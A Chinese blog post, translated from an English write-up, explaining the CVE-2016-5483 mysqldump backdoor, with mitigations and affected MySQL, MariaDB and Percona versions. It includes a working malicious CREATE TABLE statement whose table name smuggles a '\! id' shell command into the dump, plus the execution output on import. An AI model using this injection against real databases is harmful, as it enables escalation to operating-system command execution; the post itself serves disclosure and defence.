首页
学习
活动
专区
圈层
工具
发布
社区首页 >专栏 >[安全] mysqldump 备份的后门

[安全] mysqldump 备份的后门

作者头像
dys
发布于 2018-04-04 11:56:51
发布于 2018-04-04 11:56:51
2.1K0
举报
文章被收录于专栏:性能与架构性能与架构

1. 简介

mysqldump 是备份 MySQL 数据库的常用工具,其中会包含 创建表、删除表、插入数据 这些数据库操作的语句

而黑客可能会利用 mysqldump 来黑掉你的系统,在 dump 文件被导入时就会执行黑客设置好的 SQL 语句或者 shell 命令

2. 实验

场景假设

1)黑客已经获得了应用的访问权,可以执行任意的 SQL,例如你使用了 Wordpress 等开源系统,就很有可能被黑客搞定

2)黑客具有 CREATE TABLE 权限,这也不难,很多开源系统的安装教程中都不会注意这点,可能其中某个步骤就是让你执行

代码语言:javascript
复制
GRANT ALL PRIVILEGES ON wordpress.*

3)使用 mysqldump 进行常规备份

4)黑客想要提升他们的权限,进而可以访问操作系统

过程

首先创建一个恶意表

代码语言:javascript
复制
CREATE TABLE `evil  
\! id
select user(),@@version/*`  (test text);  

之后使用 mysqldump 备份数据库

在正常情况下,dump 文件中应该是这样的结构

代码语言:javascript
复制
--
-- Table structure for table `tablename`
--

而现在则会变成这样

代码语言:javascript
复制
--
-- Table structure for table `evil
\! id
select user(),@@version/*`  
--

然后使用 dump 文件导入数据库

代码语言:javascript
复制
mysql test < test.dump

输出信息:

代码语言:javascript
复制
uid=1000(mysql5.7) gid=1000(mysql5.7) 组=1000(mysql5.7)
user()  @@version
root@localhost  5.7.17-log

可以看到,已经成功执行了系统命令

3. 弥补方法

  • 使用 mysqldump 时设置 --skip-comments
  • 撤回建表权限
  • 尽量只 dump 表数据

这个问题比较普遍,需要注意,涉及的数据库包括:

数据库

版本

MySQL

所有版本

MariaDB

<= 5.5.52 且 < 10.1

Percona

所有版本

4. 小结

本文翻译整理自

https://blog.tarq.io/cve-2016-5483-backdooring-mysqldump-backups

这个安全点对我很有价值,我的 mysqldump 就没有设置忽略注释,需要补上,所以写出来供有同类问题的小伙伴们参考

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2017-03-12,如有侵权请联系 cloudcommunity@tencent.com 删除
目录
  • 1. 简介
  • 2. 实验
    • 场景假设
    • 过程
  • 3. 弥补方法
  • 4. 小结
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档